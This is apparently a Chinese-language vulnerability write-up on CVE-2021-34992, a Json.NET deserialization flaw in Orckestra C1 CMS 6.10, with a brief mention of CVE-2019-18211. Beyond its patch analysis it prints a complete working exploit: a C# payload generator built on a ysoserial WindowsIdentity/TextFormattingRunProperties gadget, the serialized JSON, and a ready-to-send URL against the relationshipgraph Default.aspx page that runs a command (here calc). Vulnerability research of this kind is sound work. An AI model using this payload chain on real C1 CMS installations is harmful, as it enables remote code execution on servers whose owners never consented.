CVE-2021-34992 Orckestra C1 CMS Deserialization RCE

警告
本文最后更新于 2021-12-04,文中内容可能已过时。

# 漏洞描述

Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因为TypeNameHandling.Auto

# 环境搭建

下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip

然后Visual Studio打开运行。

# 分析

根据cve描述和补丁对比发现漏洞点存在于Composite.dll,使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。

https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213

image.png

而我在之前的文章中写过,json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。

那么根据补丁我们来看6.10版本的CompositeSerializationBinder类

image.png

有漏洞的6.10版本中判断了assemblyName等于Composite.Generated并且typeName以CompositeGenerated开头,进行自写类的type逻辑处理,别的type直接调用基类,那么等于没做限制。

CompositeSerializationBinder被用在CompositeJsonSerializer类中,其中有两个静态方法需要注意

image.png

直接传入json字符串然后反序列化,并且TypeNameHandling为auto。

第二个静态方法比较关键

image.png

分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize方法,如果为空则调用上面的第一个静态方法,传入meta:obj标签的值,直接反序列化。

我们可以构造payload如下

1
{"meta:obj":"","meta:type":""}

当type获取不到静态Deserialize方法时,进入CompositeJsonSerializer.Deserialize<T>(text)

那么这两个点都可控,接着我们看哪里调用了这个方法。

image.png

EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法,经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)

这里接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地方,例如一个object类型的字段。

我们可以通过几行代码来寻找哪些类继承了EntityToken类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
        foreach (var assembly in assemblies)
        {
            if (assembly.FullName.Contains("Composite"))
            {
                Type[] types = assembly.GetTypes();
                foreach (var type in types)
                {
                    try
                    {
                        if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
                        {
                            continue;
                        }
                        else
                        {
                            var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
                            foreach (var member in memberInfos)
                            {
                                resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
                            }
                        }

                    }
                    catch
                    {
                    }
                }
            }
        }

image.png

发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>类型,可以存放gadget。

那么可以构造payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization;
using System.Security.Principal;
using System.Text;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
            var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
            Dictionary<string, object> dictionary = new Dictionary<string, object> { };
            dictionary.Add("asd", windowsIdentity);


            DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
            dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
            StringBuilder sb = new StringBuilder();
            using (StringWriter sw = new StringWriter(sb))
            using (JsonTextWriter writer = new JsonTextWriter(sw))
            {
                writer.QuoteChar = '\'';

                JsonSerializer ser = new JsonSerializer();
                ser.TypeNameHandling = TypeNameHandling.All;
                ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
            }
            Console.WriteLine(sb);
            Console.ReadKey();
        }
    }

    [Serializable]
    public class WindowsIdentityIdentityMarshal : ISerializable
    {
        public WindowsIdentityIdentityMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
            info.SetType(typeof(WindowsIdentity));
            info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
        }
    }
}

生成之后替换一下程序集名称

1
{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}

然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);

c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs

image.png

直接get传入EntityToken进行反序列化。

由此构造payload

1
http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}

其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"这个类型可以随便给,只要实现序列化接口就行。

image.png

# 拓展

c1cms历史洞6.5版本以前还有一个CVE-2019-18211,也是EntityTokenSerializer出的问题,在EntityTokenSerializer.cs中,

image.png

如果不以{开头则进入DeserializeLegacy

image.png

而这个方法中可以调用任意类的Deserialize(string)静态方法,于是找到了Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter

image.png

造成反序列化rce

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。